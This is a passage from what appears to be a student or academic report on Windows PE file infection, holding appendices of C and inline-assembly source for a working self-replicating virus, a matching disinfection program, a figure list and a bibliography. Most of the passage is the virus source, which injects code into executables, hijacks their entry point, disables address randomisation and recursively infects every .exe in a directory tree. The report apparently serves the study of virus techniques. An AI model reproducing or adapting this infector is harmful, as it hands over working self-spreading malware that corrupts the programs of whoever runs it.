// Set parameters. DWORD addressBaseFunc = (DWORD)f->GetProcAddress(hKernel32, baseFuncName ); pars->baseFunctionRVAinIAT = baseFuncRVA; pars->walkOffsetLL = (DWORD)f->GetProcAddress(hKernel32, consts-> loadlibrarya) - addressBaseFunc; pars->walkOffsetGPA = (DWORD)f->GetProcAddress(hKernel32, consts-> getprocaddress) - addressBaseFunc; // Free libraries. f->FreeLibrary(hUser32); f->FreeLibrary(hKernel32); return true; }
335

325

330

#pragma endregion #pragma region Infect Exe


340

345

// Infect another exe. FORCEINLINE int infectExe(Parameters *pars, Constants *consts, Functions * f, const char *fileName) { PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pFirstSection, pLastSection, pSectionHeader; HANDLE hFile, hFileMap; LPBYTE hMap; int i = 0, charcounter = 0; DWORD oepRva = 0, oep = 0, fsize = 0;

350

355

// Map file to infect. hFile = f->CreateFile(fileName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) { return -1; } fsize = f->GetFileSize(hFile, 0); if(!fsize) { f->CloseHandle(hFile); return -2; } hFileMap = f->CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL); if(!hFileMap) { f->CloseHandle(hFile); return -3; } hMap = (LPBYTE)f->MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize); if(!hMap) {

360

365

370

46
f->CloseHandle(hFileMap); f->CloseHandle(hFile); return -4;
375

APPENDIX A. INFECTION CODE

} // Check signatures, to see whether its a valid EXE. pDosHeader = (PIMAGE_DOS_HEADER)hMap; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { goto cleanup; return -8; } if(pDosHeader->e_res[0] == 0x424a){ goto cleanup; } pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew); if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { goto cleanup; return -9; } // Get first and last section. pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader-> e_lfanew + sizeof(IMAGE_NT_HEADERS)); pFirstSection = pSectionHeader; pLastSection = pFirstSection + (pNtHeaders->FileHeader.NumberOfSections - 1); // backup parameters. pars->baseFunctionRVAinIAT2 = pars->baseFunctionRVAinIAT; pars->walkOffsetLL2 = pars->walkOffsetLL; pars->walkOffsetGPA2 = pars->walkOffsetGPA; // Addresses/offsets of library functions. // Fill in the base address and offsets to LoadLibraryA and GetProcAddress. // This way, we can use those functions even if they are not originally imported by the host program. if(!setLLAndGPA2(f, pars, consts, hMap, pNtHeaders, pFirstSection)) { goto cleanup; } // Work out extra size needed in exe, rounded up to be a multiple of alignment. // e.g. totalSize = 280, FileAlignment = 200 => sizeNeeded = 400; DWORD alignment = pNtHeaders->OptionalHeader.FileAlignment; DWORD alignedTotalSize = (( (pLastSection->Misc.VirtualSize+consts-> totalSize) / alignment) + 1) * alignment; DWORD sizeIncrease = (alignedTotalSize-pLastSection->SizeOfRawData); // Reload file map and increase the fileSize by what we need to inject our code (respecting the FileAlignment) // First, clean up old map. f->FlushViewOfFile(hMap, 0); f->UnmapViewOfFile(hMap); f->CloseHandle(hFileMap);

380

385

390

395

400

405

410

415

420

47

// Increase file size. // Note: actual file size increase will be handled by the SetFilePointer and SetEndOfFile function calls in the clean up section. fsize += sizeIncrease;
425

430

// Re-create map. hFileMap = f->CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL); if(!hFileMap) { f->CloseHandle(hFile); return -5; } hMap = (LPBYTE)f->MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize); if(!hMap) { f->CloseHandle(hFileMap); f->CloseHandle(hFile); return -6; } // Re-read signatures. pDosHeader = (PIMAGE_DOS_HEADER)hMap; pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew); // Get first and last section. pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader-> e_lfanew + sizeof(IMAGE_NT_HEADERS)); pFirstSection = pSectionHeader; pLastSection = pFirstSection + (pNtHeaders->FileHeader.NumberOfSections - 1); // Create a place for our viral thread and its parameters, by extending the last section. pLastSection->Misc.VirtualSize += consts->totalSize; pLastSection->SizeOfRawData = alignedTotalSize; pLastSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE; pNtHeaders->OptionalHeader.SizeOfImage = pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize; // ?? stackoverflow.com/a/8197500 // Save original entrypoint. oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint; oep += (pSectionHeader->PointerToRawData) - (pSectionHeader-> VirtualAddress); // Write our code to the last section. PBYTE startInjectedCode = (PBYTE)hMap + pLastSection->PointerToRawData + pLastSection->Misc.VirtualSize - consts->totalSize; MemoryCopy(startInjectedCode, pars, consts->totalSize); // restore parameters from backup pars->baseFunctionRVAinIAT = pars->baseFunctionRVAinIAT2; pars->walkOffsetLL = pars->walkOffsetLL2; pars->walkOffsetGPA = pars->walkOffsetGPA2;

435

440

445

450

455

460

465

48

APPENDIX A. INFECTION CODE

470

// Fill in place holders. *(u_long *)(startInjectedCode + sizeof(Parameters) + sizeof(Constants) + consts->oepOffset) = pNtHeaders->OptionalHeader.ImageBase + oepRva; *(u_long *)(startInjectedCode + sizeof(Parameters) + sizeof(Constants) + consts->parsOffset) = pNtHeaders->OptionalHeader.ImageBase + pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize consts->totalSize; *(u_long *)(startInjectedCode + sizeof(Parameters) + sizeof(Constants) + consts->saOffset) = pNtHeaders->OptionalHeader.ImageBase + pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize consts->totalSize + sizeof(Parameters) + sizeof(Constants) + consts ->aStubSize; // Set new entrypoint. pNtHeaders->OptionalHeader.AddressOfEntryPoint = pLastSection-> VirtualAddress + pLastSection->Misc.VirtualSize - consts->totalSize + sizeof(Parameters) + sizeof(Constants);

475

// Write our signature pDosHeader->e_res[0] = (DWORD)0x424a; // Remove dynamic base if it is used if( pNtHeaders->OptionalHeader.DllCharacteristics & 0x0040 ) pNtHeaders->OptionalHeader.DllCharacteristics = 0x0040; cleanup: f->FlushViewOfFile(hMap, 0); f->UnmapViewOfFile(hMap); f->CloseHandle(hFileMap); f->SetFilePointer(hFile, fsize, NULL, FILE_BEGIN); f->SetEndOfFile(hFile); f->CloseHandle(hFile); return 0; } #pragma endregion

480

485

490

495

#pragma region Virus Code // Virus code. This will be copied between EXEs. #pragma code_seg(".viruscode") #pragma data_seg(".virusdata") // Data segment should stay empty, we wont copy it. // Assembly stub. This will be the new entry point of the EXE. // Contains three placeholders, which need to be filled in. __declspec(naked) void AStubStart() { __asm{ pushad // preserve our thread context // Call CStubStart push 0xCCCCCCCC // parameters: pointer to Parameters, passed to CStubStart. mov eax, 0xCCCCCCCC // sa: address at which CStubStart can be found.

500

505

510

49
call eax popad // restore our thread context push 0xCCCCCCCC // push address of original entrypoint retn // retn used as jmp } } // C stub. Main code of our virus. // This starts a new thread, and then returns to the original code. void CStubStart(Parameters *pars) { Constants *consts = (Constants*)((DWORD)pars + sizeof(Parameters)); DWORD addrOfSelf = (DWORD)pars + consts->offsetCStubStart; LoadLibraryFun loadLibraryF = (LoadLibraryFun)(*(DWORD*)pars-> baseFunctionRVAinIAT + pars->walkOffsetLL); GetProcAddressFun getProcAddressF = (GetProcAddressFun)(*(DWORD*)pars-> baseFunctionRVAinIAT + pars->walkOffsetGPA); HMODULE user32 = loadLibraryF(consts->user32dll); HMODULE kernel32 = loadLibraryF(consts->kernel32dll); MessageBoxFun msgBoxAF = (MessageBoxFun)getProcAddressF(user32, consts-> messageboxa); CreateThreadFun createThreadF = (CreateThreadFun)getProcAddressF( kernel32, consts->createthread); msgBoxAF(NULL, consts->text, consts->caption, consts->buttons);
535

515

520

525

530

DWORD addrOfThreadStart = addrOfSelf + consts->offsetThreadStart; // Useful if we want to call ThreadStart directly, i.e. not in a new thread: //ThreadStartFun threadStartF = (ThreadStartFun)(addrOfThreadStart);

540

createThreadF(NULL, 0, (LPTHREAD_START_ROUTINE)addrOfThreadStart, pars, 0, NULL); return; } // Start of new thread. Will be called by C stub in a new thread. DWORD ThreadStart(LPVOID parsVoid) { Parameters *pars = (Parameters*)parsVoid; Constants *consts = (Constants*)((DWORD)pars + sizeof(Parameters)); LoadLibraryFun loadLibraryF = (LoadLibraryFun)(*(DWORD*)pars-> baseFunctionRVAinIAT + pars->walkOffsetLL); GetProcAddressFun getProcAddressF = (GetProcAddressFun)(*(DWORD*)pars-> baseFunctionRVAinIAT + pars->walkOffsetGPA); HMODULE user32 = loadLibraryF(consts->user32dll); HMODULE kernel32 = loadLibraryF(consts->kernel32dll);

545

550

555

Functions f; f.MessageBox = (MessageBoxFun)getProcAddressF(user32, consts-> messageboxa); f.CreateThread = (CreateThreadFun)getProcAddressF(kernel32, consts->

50

APPENDIX A. INFECTION CODE

560

565

570

createthread); f.CreateFile = (CreateFileFun)getProcAddressF(kernel32, consts-> createfilea); f.GetFileSize = (GetFileSizeFun)getProcAddressF(kernel32, consts-> getfilesize); f.CreateFileMapping = (CreateFileMappingFun)getProcAddressF(kernel32, consts->createfilemappinga); f.MapViewOfFile = (MapViewOfFileFun)getProcAddressF(kernel32, consts-> mapviewoffile); f.FlushViewOfFile = (FlushViewOfFileFun)getProcAddressF(kernel32, consts ->flushviewoffile); f.UnmapViewOfFile = (UnmapViewOfFileFun)getProcAddressF(kernel32, consts ->unmapviewoffile); f.SetFilePointer = (SetFilePointerFun)getProcAddressF(kernel32, consts-> setfilepointer); f.SetEndOfFile = (SetEndOfFileFun)getProcAddressF(kernel32, consts-> setendoffile); f.CloseHandle = (CloseHandleFun)getProcAddressF(kernel32, consts-> closehandle); f.LoadLibrary = loadLibraryF; f.GetProcAddress = getProcAddressF; f.FreeLibrary = (FreeLibraryFun)getProcAddressF(kernel32, consts-> freelibrary); f.FindFirstFile = (FindFirstFileFun)getProcAddressF(kernel32, consts-> findfirstfile); f.FindNextFile = (FindNextFileFun)getProcAddressF(kernel32, consts-> findnextfile); DWORD addrOfCStub = (DWORD)pars + consts->offsetCStubStart; DWORD addrOfInfectDir = addrOfCStub + consts->offsetInfectDir; infectDirFun infectDirF = (infectDirFun)addrOfInfectDir; infectDirF(consts->targetPath,addrOfInfectDir, pars, consts, &f); return 0; }

575

580

void infectDir(const char *path, DWORD addrOfInfectDir, Parameters *pars, Constants *consts, Functions *f) { infectDirFun infectDirF = (infectDirFun)addrOfInfectDir; WIN32_FIND_DATA findData; char searchPath[STR_MAX_LENGTH]; char backSlashStar[3]; backSlashStar[0] = \\; backSlashStar[1] = *; backSlashStar[2] = 0; char backSlash[2]; backSlash[0] = \\; backSlash[1] = 0; StrCopy(searchPath, path); StrConcat(searchPath, backSlashStar); HANDLE hFind = f->FindFirstFile(searchPath, &findData); do { // . and ..: skip if (findData.cFileName[0] == .) continue; // .exe: interesting char exe[5]; exe[0] = .; exe[1] = e; exe[2] = x; exe[3] = e;

585

590

595

51
exe[4] = 0; if (endsWith(findData.cFileName, exe)) { char exePath[STR_MAX_LENGTH]; StrCopy(exePath, path); StrConcat(exePath, backSlash); StrConcat(exePath, findData.cFileName); infectExe(pars, consts, f, exePath); } // dir: recurse if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { char dirPath[STR_MAX_LENGTH]; StrCopy(dirPath, path); StrConcat(dirPath, backSlash); StrConcat(dirPath, findData.cFileName); infectDirF(dirPath, addrOfInfectDir, pars, consts, f); } } while (f->FindNextFile(hFind, &findData)); } // Marker for end of virus code. void VCodeEnd() {}
620

600

605

610

615

#pragma data_seg() #pragma code_seg() #pragma endregion


625

#pragma region Main // First generation. int main(int argc, char* argv[]) { PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pFirstSection, pLastSection, pSectionHeader; HANDLE hFile, hFileMap; LPBYTE hMap; int i = 0, charcounter = 0; DWORD oepRva = 0, oep = 0, fsize = 0, parsOffset = 0, saOffset = 0, oepOffset = 0;
640

630

635

645

// Work out stub size. // Our viral code contains: parameters, constants, assembly stub, C stub . DWORD aStubSize = (DWORD)CStubStart - (DWORD)AStubStart; DWORD cStubSize = (DWORD)VCodeEnd - (DWORD)CStubStart; DWORD stubSize = (DWORD)VCodeEnd - (DWORD)AStubStart; // Not including parameters or constants DWORD totalSize = stubSize + sizeof(Parameters) + sizeof(Constants); // Map file to infect. const char *fileName = "PEview.exe"; hFile = CreateFile(fileName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,

52
650

APPENDIX A. INFECTION CODE

NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) { printf("[-] Cannot open %s\n", fileName); return 1; } fsize = GetFileSize(hFile, 0); if(!fsize) { printf("[-] Could not get files size\n"); CloseHandle(hFile); return 0; } hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL ); if(!hFileMap) { printf("[-] CreateFileMapping failed\n"); CloseHandle(hFile); return 0; } hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize) ; if(!hMap) { printf("[-] MapViewOfFile failed\n"); CloseHandle(hFileMap); CloseHandle(hFile); return 0; } // Check signatures, to see whether its a valid EXE. pDosHeader = (PIMAGE_DOS_HEADER)hMap; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { printf("[-] DOS signature not found\n"); goto cleanup; } if(pDosHeader->e_res[0] == 0x424a){ printf("[-] File aleady infected\n"); goto cleanup; } pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew); if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { printf("[-] NT signature not found\n"); goto cleanup; } pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader-> e_lfanew + sizeof(IMAGE_NT_HEADERS)); pFirstSection = pSectionHeader; pLastSection = pFirstSection + (pNtHeaders->FileHeader.NumberOfSections - 1);

655

660

665

670

675

680

685

690

695

700

// Copy stub into a buffer. unsigned char *aStub = (unsigned char *)HeapAlloc(GetProcessHeap(), NULL

53
, aStubSize); if (aStub == NULL) { printf("[-] Failed to allocate memory for aStub.\n"); goto cleanup; } memcpy(aStub, AStubStart, aStubSize); // Locate offsets of place holders in assembly stub. for(i = 0, charcounter = 0; i != aStubSize; i++) { if(aStub[i] == 0xCC) { charcounter++; if(charcounter == 4 && parsOffset == 0) parsOffset = i - 3; else if(charcounter == 4 && saOffset == 0) saOffset = i - 3; else if(charcounter == 4 && oepOffset == 0) oepOffset = i - 3; } else { charcounter = 0; } } // Create parameters and constants. Parameters pars; memset(&pars, 0, sizeof(Parameters)); Constants consts; memset(&consts, 0, sizeof(Constants)); // Fill in sizes. consts.aStubSize = aStubSize; consts.cStubSize = cStubSize; consts.stubSize = stubSize; consts.totalSize = totalSize; // Fill in offsets of placeholders. consts.parsOffset = parsOffset; consts.saOffset = saOffset; consts.oepOffset = oepOffset; // Fill in strings. strcpy(consts.user32dll, "User32.dll"); strcpy(consts.kernel32dll, "Kernel32.dll"); strcpy(consts.createthread, "CreateThread"); strcpy(consts.createfilea, "CreateFileA"); strcpy(consts.getfilesize, "GetFileSize"); strcpy(consts.createfilemappinga, "CreateFileMappingA"); strcpy(consts.mapviewoffile, "MapViewOfFile"); strcpy(consts.copymemory, "CopyMemory"); strcpy(consts.flushviewoffile, "FlushViewOfFile"); strcpy(consts.unmapviewoffile, "UnmapViewOfFile"); strcpy(consts.setfilepointer, "SetFilePointer"); strcpy(consts.setendoffile, "SetEndOfFile"); strcpy(consts.closehandle, "CloseHandle"); strcpy(consts.loadlibrarya, "LoadLibraryA"); strcpy(consts.getprocaddress, "GetProcAddress"); strcpy(consts.freelibrary, "FreeLibrary"); strcpy(consts.messageboxa, "MessageBoxA"); strcpy(consts.findfirstfile, "FindFirstFileA"); strcpy(consts.findnextfile, "FindNextFileA"); strcpy(consts.text, "Hello by Beerend & Janwillem!"); strcpy(consts.caption, "Injection result");

705

710

715

720

725

730

735

740

745

750

755

54

APPENDIX A. INFECTION CODE

760

765

770

strcpy(consts.targetPath, "C:\\test"); consts.buttons = MB_OKCANCEL | MB_ICONQUESTION; // Offsets of functions. consts.offsetCStubStart = sizeof(Parameters) + sizeof(Constants) + aStubSize; consts.offsetThreadStart = (DWORD)ThreadStart - (DWORD)CStubStart; consts.offsetInfectDir = (DWORD)infectDir - (DWORD)CStubStart; // Addresses/offsets of library functions. // Fill in the base address and offsets to LoadLibraryA and GetProcAddress. // This way, we can use those functions even if they are not originally imported by the host program. if(!setLLAndGPA(&pars, &consts, hMap, pNtHeaders, pFirstSection)) { printf("[-] Failed to set LL and GPA walk offsets.\n"); HeapFree(GetProcessHeap(), NULL, aStub); goto cleanup; } // Work out extra size needed in exe, rounded up to be a multiple of alignment. // e.g. totalSize = 280, FileAlignment = 200 => sizeNeeded = 400; printf("Last section virtual size = %i\n", pLastSection->Misc. VirtualSize); printf("Last section raw size = %i\n", pLastSection->SizeOfRawData); printf("Viral code size = %i\n", totalSize); printf("File Alignment = %i\n", pNtHeaders->OptionalHeader.FileAlignment ); printf("Section Alignment = %i\n", pNtHeaders->OptionalHeader. SectionAlignment); DWORD alignment = pNtHeaders->OptionalHeader.FileAlignment; DWORD alignedTotalSize = (( (pLastSection->Misc.VirtualSize+totalSize) / alignment) + 1) * alignment; DWORD sizeIncrease = (alignedTotalSize-pLastSection->SizeOfRawData); printf("Aligned section+viral code size = %i\n", alignedTotalSize); // Reload file map and increase the fileSize by what we need to inject our code (respecting the FileAlignment) // First, clean up old map. FlushViewOfFile(hMap, 0); UnmapViewOfFile(hMap); CloseHandle(hFileMap); // Increase file size. // Note: actual file size increase will be handled by the SetFilePointer and SetEndOfFile function calls in the clean up section. fsize += sizeIncrease; // Re-create map. hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL ); if(!hFileMap) { printf("[-] CreateFileMapping failed\n"); CloseHandle(hFile); return 0; }

775

780

785

790

795

800

55
hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize) ; if(!hMap) { printf("[-] MapViewOfFile failed\n"); CloseHandle(hFileMap); CloseHandle(hFile); return 0; } // Re-read signatures. pDosHeader = (PIMAGE_DOS_HEADER)hMap; pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew); // Get first and last section. pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader-> e_lfanew + sizeof(IMAGE_NT_HEADERS)); pFirstSection = pSectionHeader; pLastSection = pFirstSection + (pNtHeaders->FileHeader.NumberOfSections - 1); // Create a place for our viral thread and its parameters, by extending the last section. pLastSection->Misc.VirtualSize += totalSize; pLastSection->SizeOfRawData = alignedTotalSize; pLastSection->Characteristics |= IMAGE_SCN_MEM_WRITE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE; //pNtHeaders->OptionalHeader.SizeOfImage += alignedTotalSize; printf("Old SizeOfImage: %i\n", pNtHeaders->OptionalHeader.SizeOfImage); printf("New SizeOfImage: %i\n", pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize); pNtHeaders->OptionalHeader.SizeOfImage = pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize; // ?? stackoverflow.com/a/8197500 // Save original entrypoint. oep = oepRva = pNtHeaders->OptionalHeader.AddressOfEntryPoint; oep += (pSectionHeader->PointerToRawData) - (pSectionHeader-> VirtualAddress); // Fill in place holders. *(u_long *)(aStub + oepOffset) = pNtHeaders->OptionalHeader.ImageBase + oepRva; *(u_long *)(aStub + parsOffset) = pNtHeaders->OptionalHeader.ImageBase + pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize totalSize; *(u_long *)(aStub + saOffset) = pNtHeaders->OptionalHeader.ImageBase + pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize totalSize + sizeof(Parameters) + sizeof(Constants) + aStubSize; // Write our code to the last section. PBYTE startInjectedCode = (PBYTE)hMap + pLastSection->PointerToRawData + pLastSection->Misc.VirtualSize - totalSize; memcpy(startInjectedCode, &pars, sizeof(Parameters)); memcpy(startInjectedCode + sizeof(Parameters), &consts, sizeof(Constants )); memcpy(startInjectedCode + sizeof(Parameters) + sizeof(Constants), aStub , aStubSize);

805

810

815

820

825

830

835

840

56

APPENDIX A. INFECTION CODE

memcpy(startInjectedCode + sizeof(Parameters) + sizeof(Constants) + aStubSize, CStubStart, cStubSize); // Set new entrypoint. pNtHeaders->OptionalHeader.AddressOfEntryPoint = pLastSection-> VirtualAddress + pLastSection->Misc.VirtualSize - totalSize + sizeof (Parameters) + sizeof(Constants); // Write our signature pDosHeader->e_res[0] = (DWORD)0x424a;
850

845

// Remove dynamic base if it is used if( pNtHeaders->OptionalHeader.DllCharacteristics & 0x0040 ) pNtHeaders->OptionalHeader.DllCharacteristics = 0x0040; // Clean up. printf("[+] Stub written!!\n[*] Cleaning up\n"); HeapFree(GetProcessHeap(), NULL, aStub); cleanup: FlushViewOfFile(hMap, 0); UnmapViewOfFile(hMap); CloseHandle(hFileMap); SetFilePointer(hFile, fsize, NULL, FILE_BEGIN); SetEndOfFile(hFile); CloseHandle(hFile); return 0; } #pragma endregion

855

860

865

Appendix B

Disinfection code
This code implements the procedure described in 5.6.
#include <Windows.h> #include <iostream> int main(int argc, char* argv[]) { DWORD total_size = 3764; int aStubOffset = 1172; DWORD oepOffset = 15; PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeaders; PIMAGE_SECTION_HEADER pFirstSection, pLastSection, pSectionHeader; HANDLE hFile, hFileMap; LPBYTE hMap; int i = 0, charcounter = 0; DWORD fsize = 0; // Map file to desinfect. const char *fileName = "PEview.exe"; hFile = CreateFile(fileName, GENERIC_WRITE | GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if(hFile == INVALID_HANDLE_VALUE) { printf("[-] Cannot open %s\n", fileName); return 1; } fsize = GetFileSize(hFile, 0); if(!fsize) { printf("[-] Could not get files size\n"); CloseHandle(hFile); return 0; } hFileMap = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, fsize, NULL );

10

15

20

25

30

57

58
35

APPENDIX B. DISINFECTION CODE

if(!hFileMap) { printf("[-] CreateFileMapping failed\n"); CloseHandle(hFile); return 0; } hMap = (LPBYTE)MapViewOfFile(hFileMap, FILE_MAP_ALL_ACCESS, 0, 0, fsize) ; if(!hMap) { printf("[-] MapViewOfFile failed\n"); CloseHandle(hFileMap); CloseHandle(hFile); return 0; } // Check signatures, to see whether its a valid EXE. pDosHeader = (PIMAGE_DOS_HEADER)hMap; if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { printf("[-] DOS signature not found\n"); goto cleanup; } if(pDosHeader->e_res[0] != 0x424a){ printf("[-] File not infected\n"); goto cleanup; }

40

45

50

55

60

65

pNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hMap + pDosHeader->e_lfanew); if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { printf("[-] NT signature not found\n"); goto cleanup; } // Get first and last section. pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader-> e_lfanew + sizeof(IMAGE_NT_HEADERS)); pFirstSection = pSectionHeader; pLastSection = pFirstSection + (pNtHeaders->FileHeader.NumberOfSections - 1); // Find the jump to the oep in the last section. PBYTE oepPtr = (PBYTE)hMap + pLastSection->PointerToRawData + pLastSection->Misc.VirtualSize - total_size + aStubOffset + oepOffset; DWORD oep; memcpy(&oep,oepPtr,sizeof(DWORD)); oep -= pNtHeaders->OptionalHeader.ImageBase; // Get first and last section. pSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)hMap + pDosHeader-> e_lfanew + sizeof(IMAGE_NT_HEADERS)); pFirstSection = pSectionHeader; pLastSection = pFirstSection + (pNtHeaders->FileHeader.NumberOfSections - 1); // remove our viral code

70

75

80

59
PBYTE writePtr = (PBYTE)hMap + pLastSection->PointerToRawData + pLastSection->Misc.VirtualSize - total_size; memset(writePtr, 0, total_size); // Modify the section sizes in the last section header pLastSection->Misc.VirtualSize -= total_size; DWORD alignment = pNtHeaders->OptionalHeader.FileAlignment; DWORD alignedTotalSize = ((pLastSection->Misc.VirtualSize / alignment) + 1) * alignment; DWORD size_decrease = pLastSection->SizeOfRawData - alignedTotalSize; pLastSection->SizeOfRawData = alignedTotalSize; printf("Aligned viral code size = %i\n", alignedTotalSize); printf("Size decrease = %i\n", size_decrease); pNtHeaders->OptionalHeader.SizeOfImage = pLastSection->VirtualAddress + pLastSection->Misc.VirtualSize; // ?? stackoverflow.com/a/8197500 // Restore original entrypoint. pNtHeaders->OptionalHeader.AddressOfEntryPoint = oep;
100

85

90

95

// Remove our signature pDosHeader->e_res[0] = 0; // Reload file map and decrease the fileSize to throw away unneeded space in the last sections raw data // First, clean up old map. FlushViewOfFile(hMap, 0); UnmapViewOfFile(hMap); CloseHandle(hFileMap); // Decrease file size. // Note: actual file size decrease will be handled by the SetFilePointer and SetEndOfFile function calls in the clean up section. fsize -= size_decrease; goto cleanup2; cleanup: FlushViewOfFile(hMap, 0); UnmapViewOfFile(hMap); CloseHandle(hFileMap); cleanup2: SetFilePointer(hFile, fsize, NULL, FILE_BEGIN); SetEndOfFile(hFile); CloseHandle(hFile); return 0; }

105

110

115

120

125

List of Figures
3.1 4.1 4.2 5.1 6.1 6.2 6.3 6.4 Typical Portable EXE File Layout . . . . . . . . . . . . . . . . . Screenshots of PEview and CFF Explorer . . . . . . . . . . . . . Example of a code cave . . . . . . . . . . . . . . . . . . . . . . . Structure of the injected code . . . . . . . . . . . . . . . . . . . . Filesize before and after infection . . . . . . . . . . . . . . . . . Infected le, containing (a) our signature and (b) our constant strings Greeting of our virus . . . . . . . . . . . . . . . . . . . . . . . . Next generation virus . . . . . . . . . . . . . . . . . . . . . . . . 14 18 19 23 32 33 34 34

60

Bibliography
[1] Detailed Guide To Pe Infection. http: //www.rohitab.com/discuss/topic/33006-detailed-guide-to-pe-infection/, December 2008. [2] Chronicles of a PE Infector. http://tigzyrk.blogspot.fr/2012/09/analysis-chronicles-of-pe-infector.html, September 2012. [3] c0v3rt+. Adding sections to PE Files: Enhancing functionality of programs by adding extra code. http://www.woodmann.com/fravia/covert1.htm, July 1999. [4] David M. Chess and Steve R. White. An Undetectable Computer Virus. Proceedings of Virus Bulletin Conference, 2000. [5] CNET. Flawed Symantec update cripples Chinese PCs, May 2007. [6] ExtremeTech. Antivirus Research and Detection Techniques. http://www.extremetech.com/computing/ 51498-antivirus-research-and-detection-techniques, July 2002. [7] HBGary. Loading a DLL without calling LoadLibrary. http://www.hbgary.com/loading-a-dll-without-calling-loadlibrary. [8] The Inquirer. MSE false positive detection forces Google to update Chrome, October 2011. [9] Mark A. Ludwig. The Giant Black Book of Computer Viruses. Amer Eagle Pubns Inc, 1995. [10] Microsoft. Microsoft PE and COFF Specication. Revision September 2010. [11] Norman. The Norman Book on Computer Viruses. 2002. 61

62

BIBLIOGRAPHY

[12] Matt Pietrek. Peering Inside the PE: A Tour of the Win32 Portable Executable File Format. MSDN Magazine, 9(3), March 1994. [13] Matt Pietrek. Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format (Part I). MSDN Magazine, 17(2), February 2002. [14] Matt Pietrek. Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format (Part II). MSDN Magazine, 17(3), March 2002. [15] Ed Skoudis and Lenny Zeltser. Malware: Fighting Malicious Code. Prentice Hall, November 2003. [16] Peter Szor. The Art of Computer Virus Research and Defense. Pearson Education, 2005. [17] Andrew S. Tanenbaum. Modern Operating Systems. Prentice Hall, 3rd edition, 2007. [18] Ollie Whitehouse. An Analysis of Address Space Layout Randomization on Windows VistaTM . Symantec Advanced Threat Research, 2007. [19] ZDNet. McAfee to compensate businesses for buggy update, April 2010.

Potrebbero piacerti anche